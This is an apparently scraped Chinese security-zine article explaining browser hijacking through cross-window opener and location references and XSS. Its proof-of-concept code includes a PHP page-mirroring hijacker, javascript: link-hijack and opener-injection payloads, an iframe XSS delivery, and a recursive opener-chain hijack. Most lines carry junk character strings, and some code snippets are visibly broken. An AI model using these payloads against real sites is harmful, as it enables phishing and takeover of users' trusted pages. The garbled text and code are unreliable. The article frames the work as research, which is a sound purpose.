==Ph4nt0m Security Team==+ a4 O2 ^$ y) R1 O. {& a
; _; K9 H" f+ X9 C+ M" J/ A( S Issue 0x03, Phile #0x05 of 0x07
5 N W6 Q" @/ x3 B5 T) B# @- T6 e
6 d ^. g" J* D
( p$ x. e) P* o6 Y|=---------------------------------------------------------------------------=|5 ^5 R5 V9 z4 C' R7 u" H5 g
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
5 z8 g6 D$ z' { N$ ~0 @|=---------------------------------------------------------------------------=|
5 O5 o, _9 ~* u$ N/ c|=---------------------------------------------------------------------------=|
9 R; C0 I* Z) N4 f|=------------------------=[ By rayh4c ]=---------------------------=|
- y+ `) G& @5 b' w* _& ||=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
Z% m, |$ h5 F+ ?" I|=---------------------------------------------------------------------------=|2 U. a7 q4 P- a& y- l
/ s3 H. _3 M5 A) G4 U0 i1 T' X( g( e( o
[目录]
9 ^9 X; V2 _8 P/ T. l) q" K% G+ r# q B% E! ?: S, j: u" r
1. 前言
8 z* u0 u. d" U- X+ [5 q9 W2 f2. 同源策略简叙' D& o& g1 J& I: I) _7 j
3. 理解window对象的同源策略7 u' G" [5 s: n- C- V/ e9 L
4. 窗口引用功能中的同源策略漏洞
5 K; `/ k. L4 l+ W' R; ? 4.1 父窗口引用子窗口的同源策略问题
1 C8 [$ u1 w7 y1 u 4.2 子窗口引用父窗口的同源策略问题
3 h1 H r3 k& G5 }/ t& o5. 利用窗口引用漏洞劫持浏览器, I5 n B9 u: T% `2 y" _
6. 利用XSS漏洞劫持浏览器+ \, d9 }9 F( v% D; j
6.1 正向跨窗口劫持
8 T' P2 X6 v; T. q+ G 6.2 反向跨窗口劫持+ I! w- ]. A. q( {$ E5 S
6.3 极度危险的跨框架窗口引用劫持) Y* G- f6 T2 Z; j1 R6 Z
6.4 极度危险的正反向跨窗口递归劫持
1 g; j' J1 e: R, `) { 6.5 完全控制浏览器
: p6 N. H. w3 @9 \ }4 @. m7. 后记3 ]* C9 |2 b$ j1 I' g7 p
8. 参考
: F& P5 L6 S! \7 m) {- A( ?' J; K/ A" _
T& ~6 a: [6 g8 G1 |" [4 ~
一、前言- E. {8 I" v/ K! E# g
8 A. s% Q7 `0 W1 p9 p% v 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
) e2 W. K* h% ^5 v; D8 r: P友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session/ c, `9 v$ ^ \; f
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被% m5 n! E' {/ e! u) E
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。5 g2 Z2 \! c7 r) g5 o; ~
+ D; v ^$ U6 ^" E
- L1 f, L: p- I8 T5 K) t4 x
二、同源策略简叙/ }; {; U* ~& d& A
; ~' A8 x4 ?) p- m3 Q& ?$ x) ?, e
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以; J3 ?: F; v% T
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 r( G; ^( d9 x
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
; C* C3 L* h! @; V6 k马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个1 a( Q7 }8 ]. r1 m; K& c5 D
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。: b; J9 @" K4 S0 M7 i2 ^% y
( `: W$ i1 F, u7 T/ [6 b
3 p4 Y* l! G3 k3 n3 p: \7 K
三、理解window对象的同源策略6 y9 {' E* g" f
. N+ v5 y4 [8 l t! s
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对% u9 T5 a# q, F; t/ O5 T1 \
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 S- R K" A s* z' N
0 P2 W+ ~. G6 z( B9 a& A* E* s; g. E--code-------------------------------------------------------------------------
. E( s) ^' X7 W% v<script language="javascript">5 T3 r0 `7 c; `# P J
for(p in window) document.write(p+"<br>");7 v% h' n/ l- [$ K) l
</script>! z6 j. u ~4 B1 O
-------------------------------------------------------------------------------- ]! U$ j1 y; q- K! q; g: z+ @
" e8 t% A8 P! E$ E0 j 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方 o5 m7 n3 M W
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,( b3 b9 a; I5 D$ J0 P; S
这些属性和方法就必须遵循同源策略。 a+ g! T; h- c! n
7 w8 v3 u5 C6 p- Y% d 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
7 |4 R, ]- N: `/ k$ [4 y么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
' n0 m: e+ Y7 f( m9 P o& e9 [; q1 d的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
, C) E1 t4 ?$ @个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的, H9 d3 e3 W0 e t3 }
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location, x# e" e( j% o4 J5 g
属性并没有被拒绝访问。
6 F$ N. U! }8 M( H) G) K/ J7 \
, Q* q% I. v; X/ I: \--demo.html--------------------------------------------------------------------5 C" E( H9 u; q# M+ i9 r
<script language="javascript">
# U$ o. F5 n$ F- V' k/ Yfunction allPrpos(obj) {
+ Z7 q3 b9 O3 L7 y2 s7 M3 x. v T var props = "<table><tr><td>名称</td><td>值</td>";
: D6 `1 L: `3 m% l for(var p in obj){
2 I4 u: {- n+ q; C3 C) W if(typeof(obj[p])=="function"){ ! X1 V! M% ]% B5 E% I
obj[p]();
. q; M/ Y8 j/ o4 t$ |. q$ { }else{ 9 W) I7 Y- W3 K# V3 T/ `" T
try
* W+ }3 Z# `2 O2 a: W% r: B+ ?# v {
" ?# S; z; x- R3 y5 B props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
- \. ?* ]8 K- N3 n* V3 |7 Y. C }
9 Y, y: N% x' v" I6 @4 z catch (ex) , W. _1 J9 h2 r" |2 ^; j6 R6 B
{ 8 ~7 c, G5 q4 i) w- ^' j- H7 B
8 r9 w# d; Y3 [ {: l props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 2 T0 O! L8 I# C; \& w( z) f4 M7 \
} , i3 i7 m1 r7 O6 f
" G$ @: ]; g" R' c7 U/ R: Z
} ) {+ X- R- B! \2 ~
}
+ l0 ~% b: v/ ]$ f" c# b! I ' J! u( h$ ]+ a9 Y( j
document.write(props+"</table>"); ! j- Z# b2 [) ~$ P
}
$ G) ?% _8 }1 t) G! R( U # H% X' ]. r$ x, |9 s
function createWin() {' j* d$ g4 _- f
newWin = window.open ("http://www.google.com"); ; G8 k4 m" \9 ^: j; I
setTimeout(function(){allPrpos(newWin)},2000);
# o$ Z% z' P4 A* ]}
6 m* D. v, E( H/ x' S- T* |5 g) I8 s" z8 T% d A* ?3 |7 I
</script> ; B7 ^" K5 f% }8 \( `$ B. v
, Q1 r E, R' C: R9 A5 ?7 Y<button onclick='createWin()'>创建一个非同源子窗口测试</button>! c5 _/ o- F& Q1 N( n, {+ H
-------------------------------------------------------------------------------7 c, _/ q; v- l9 {6 a x& n) ?( h7 W
2 P: j2 _- L" k' ?" A+ c
( l/ x: s! f2 Z4 o# \% o' c
四、窗口引用功能中的同源策略漏洞
) g* }' O4 L/ {7 U6 {7 U* F* ~! T# V2 [" ^* n9 B5 F. Y
4.1 父窗口引用子窗口的同源策略问题5 x3 ]+ H& G& W O( Z
! u8 x* z2 _+ l% x8 w' V 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
" u; ^6 R F/ @ H2 }但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道4 ?- F, A7 ?, B8 O7 j! M4 M
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
' ^: ]$ M4 Z" F+ w7 g行测试,会发现父窗口可以控制非同源子窗口location属性值。
. l2 E7 P7 E9 T7 t( K5 E2 w" W# b& ^, i' Q- G
--vul1.html--------------------------------------------------------------------
* [3 K4 w( \( {# [2 {/ \& i& s<script language="javascript">
( H" ?2 z/ _( [( t# ?5 T& @1 Ifunction createWin() {
1 L! s7 | e0 ~0 J7 E" W# l" \" H newWin = window.open ("http://www.google.com"); + T$ q# m: c, O M
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
5 ]% |$ ~' L) Z+ T* H5 Y" V} 3 W' Y P* o# C9 O& M+ r$ B3 \/ p
</script>' L$ {) J8 }! J) ~# e3 A- ]% W" A
& v0 V: V9 n# R4 {0 l. ~<button onclick='createWin()'>创建一个非同源子窗口测试</button>
, C0 x" l( V# i-------------------------------------------------------------------------------
3 p2 U$ d8 l6 i: S( m9 g
3 V& o4 [* Z! ^( X# v: F8 t1 L* e' T* R4 K" R+ }
4.2 子窗口引用父窗口的同源策略问题
5 v; {9 Z4 `2 D/ {7 ?
: v# d, ?3 y* m C$ |2 } 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使, H+ i/ v" q. R; B& {
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
# v2 v) B) k! G" P1 o! r可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
7 i' o: K5 F, {1 F* ^会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
$ g! U+ s4 y# @6 _% O% }) M& r
/ e- K' I8 Z" {2 I1 B. k--code-------------------------------------------------------------------------
: J( _4 M. j0 U" z1 G1 D0 a, S; w7 S* M. H
javascript:window.opener.location = "http://www.80sec.com";void(0);
2 Q) B! I" r% B# L7 J) S! A- N3 m4 X4 j! Y+ `
-------------------------------------------------------------------------------; f. n Z+ O/ s3 t0 n) [* R/ J
6 g9 ^# m- v7 C& U; U6 G
; q& S# X0 r& f' b! D五、利用窗口引用漏洞劫持浏览器
/ t, Z, k! u5 ?2 q' X
; _+ d( n8 F1 R: y' A 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子" J/ ^/ D: | v, q
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那; P' Z5 e8 U* `4 z2 d2 {/ r" G
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
8 S1 D5 ~- q, B" j% V# m( B3 I: D% t, Q7 V) T
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产; Z! B7 M8 k) @, b. U0 U
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或 C" w; e# w3 D# n% u4 H
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接9 `* E0 e9 P. I: w% b
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
2 U F4 H, T$ b9 L2 o; }会产生什么可怕的后果。) ?8 L# R4 |$ s; _! b- ?. ^
, s- |2 o& D5 u% | 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我( Y% ?4 a5 q6 e
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ Q6 k/ `7 x$ b; Y+ Y0 O, s, L
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
7 S8 ?5 l$ H& f- k5 T3 z, e4 R0 v; W候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
. R0 ?0 Z' c! d以做更多的事情,所有的一切仅仅是因为点击了一个链接。
" d) u8 C# V5 S5 I3 S, G! \% E/ m0 {- E: }& T; _, v* a! o
--hjk_ref.php------------------------------------------------------------------
* g0 T. V5 z! J; v: b+ Z<?php% G" f4 g! }' |8 u( a
if (array_key_exists("HTTP_REFERER", $_SERVER)) {( U" f4 s$ p6 r1 @7 K3 q. S2 A
$Url_Mirror = $_SERVER["HTTP_REFERER"];7 z' f2 G/ ^5 e3 @6 H4 K; {
} , l9 b- @; F6 }( y
if(isset ($_GET['ref'])) {: G Z" Y* P; ]4 J# q& Z2 k% L
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';; R& C3 Q$ e8 W$ u
}' b7 x8 b7 Q: i+ d$ Z) n
?>
* D; x) Z/ N! U: V
$ W" ], _) k, w7 n) [<script language="javascript">$ i0 }" B/ b: T+ y# P, R
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); * Q7 o. [! m+ ?( `3 `& b6 |; y
</script>
5 |% o1 b! N# y3 y; y-------------------------------------------------------------------------------
/ Q' |8 ?$ K' g- }4 ~ y, g3 P0 L4 i2 M N, i$ ~& y, y/ N$ Z/ R2 z
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。4 M0 U: Y, X# e; w
/ i5 v8 x l3 w
, e' h# s4 B' _: l( p0 z六、利用XSS漏洞劫持浏览器9 B/ o/ V5 T: f( z
. {3 Z7 l/ q2 d! z7 i1 e 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为+ U2 I5 P( e* [5 J7 O5 N! s3 Q- C
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
0 b! ~' u3 `5 _. |2 F$ q4 DXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起; x6 K/ `3 f& E- M. x2 p
讨论跨站师的终极技巧:2 Q9 z, D6 ?4 Z0 s) }. t
7 _3 Y( e# E( o9 m! D* f) j
- d3 a U8 I- @; k7 W
6.1 正向跨窗口劫持 V% i; I2 K* z% P3 j$ q. H2 e1 E
Q% T6 i& Y. B 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛. S; g& r* N, L8 U6 b
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链- Q o1 v. m/ t- {) s. p/ Q6 m
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
& q; h6 x9 k! D框脚本。
5 k7 ~9 u6 D# W) e# Q* ~* j9 @ k2 F2 C2 t9 |
--hijack_open.js--------------------------------------------------------------- X l: ]( R/ @
- M/ a! S; d5 j0 r M0 s, h+ Jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);$ i- z* E/ C2 K' F
+ d* q) x& G0 W# f) | i' K( s* C
-------------------------------------------------------------------------------
* u* ~6 M& I2 T+ f x' j D2 `; i8 F' V0 M! N% e% U
- v5 V+ f3 R4 r! A' Z- f6.2 反向跨窗口劫持0 b7 M* E( T/ P" V, r# a
7 F1 {) l) N7 D9 e1 C" A
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
z: C2 Z6 U) u: v$ E, z1 B& _3 {码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 Y) W7 F, n. y0 U' `) t5 U
框脚本。/ F4 X; V' d8 j+ Z+ c) G
& s, z1 J, @8 ~! Y* m# B4 r9 e
--hijack_opener.js-------------------------------------------------------------
" @1 v: K. j; _+ B0 O' d/ P! |2 W4 A2 R: b, S& D
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);& t, O4 ]) q9 |. h1 ] w
/ h* S+ |- u1 p8 r9 G-------------------------------------------------------------------------------7 ]5 M0 c( F7 F# k& M6 Z1 C
: B. V6 q* c6 x3 `! ]- d
. p' n+ [! x5 v3 u4 f% u6.3 极度危险的跨框架窗口引用劫持+ a: c4 y- V/ x7 ~, M
1 _9 m# _/ a4 ^
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞3 @' a5 e/ v0 V+ K$ f
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就4 `# E# Y3 ]" y' K3 i. Q0 B( t8 @
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个; l- p7 q$ Q! d i( c
非持久型的XSS,如下:
2 j$ a! d9 u# X, a; L0 F
& x; ] \% s, f5 q) Z<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
2 {6 I5 X/ O; L x. p) n; `+ `
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口1 ?& l; v& s# s- Z. i! P. m ]
注入脚本。/ ^ t( o9 n7 b5 j
, r" n$ i: k9 i8 Y& X- a2 }--hijack_frame_opener.js-------------------------------------------------------
! j4 C; T- p+ Y0 X! K5 u1 n<script>
; O: k- G# Q2 Z% Wwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";/ W# M ` ~( a, S2 O1 B# P
</script>0 b& _) {. J: V/ }7 S( c
-------------------------------------------------------------------------------
2 S& ~7 t0 r4 u% V0 x4 O7 N4 D0 t2 L; C8 e9 n% e& R
$ f8 p$ j+ {' z9 e6 |6.4 极度危险的正反向跨窗口递归劫持
) ~) D% H! B. j, [7 e8 q, X
" m4 c/ G( }& A) A5 x luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. k: j) M; Q$ q3 p
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. S" p+ z6 H G3 C0 F& ]异常处理规避之间跨域页面的访问异常,代码如下:. c' c' ]" U2 F1 e9 y6 Q
+ K6 y; N/ f& }4 A/ L. {0 m--code-------------------------------------------------------------------------1 L5 a5 _4 o" V o( K
( ?6 J4 ^2 [6 H3 ?# V9 \- Xjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
' h# j4 J5 P6 z e \5 i; }# H' y( V# n0 [( [" ~
-------------------------------------------------------------------------------% z# _# H8 w! g1 q2 q4 r
" x, V9 z) ?7 u
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可( r, S6 q- p# v7 H) o
以劫持B域之前的A域页面,从而实现“隔空打击”。
5 S+ V9 V/ N) s3 B. u1 H; Q0 V" @" N2 F$ ]6 P, u; @
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面+ A/ x6 b( k6 s
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
% ^8 d% `2 {1 _" l4 d4 Q& z9 s: R2 s3 X
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
/ t) i1 T$ G2 m& p! |9 Q5 y* T# R: E1 @6 C
. V- o; u7 k8 Y& V6.5 完全控制浏览器1 k& o1 c- O. }9 } z
5 z" P4 U8 Y3 u5 ]7 e5 Z) o
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
1 H3 N% ?/ [+ j9 c$ }是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
) K/ b, z3 h% r7 B* x漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失+ h8 D* m8 M6 Z
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再" c: n5 D" J3 H9 k8 p, g8 Z0 N( X0 B
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站- q0 _. ]7 }! ~, J2 j
师的终极目标 - 完全控制浏览器。
! R* W3 g5 Q" m2 w3 g7 ^+ |
/ S2 {! ^$ h3 R: j- \
( N( u7 J- E* a$ G! f七、后记
3 Q( }5 k" n: n! y* P/ K
3 H s! F q( U2 G6 H" P2 H# k4 }$ X 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
( `( U1 {+ F% v0 L与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
* T( g4 {7 P e9 @: Q过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。 W" \# _1 n4 F5 t+ a0 p8 V v
5 n! _8 z- P& L
: |$ |) t" y; r0 p8 [八、参考
h6 Z8 j) R* V8 D3 @- ?7 I
* ~1 ~9 @8 q" h2 ~9 p1. http://en.wikipedia.org/wiki/Same_origin_policy
/ l8 H3 [* a, K; M3 L2. http://code.google.com/p/browser ... licy_for_DOM_access
5 M( ]) ]9 b! U- c. Y5 z1 C! }3. http://www.w3.org/TR/Window/
5 U2 j1 |( M' \3 o) U t4. http://www.80sec.com/release/browser-hijacking.txt$ W2 H6 _! b4 k% a9 Y6 e
5. http://www.80sec.com/all-browser-security-alert.html
5 G0 D. F/ X1 h: h5 w6. http://www.80sec.com/ms08-058-attacks-google.html( F, W2 P# W" S( ~7 H
/ j( V' H# ?9 r. q8 E-EOF- |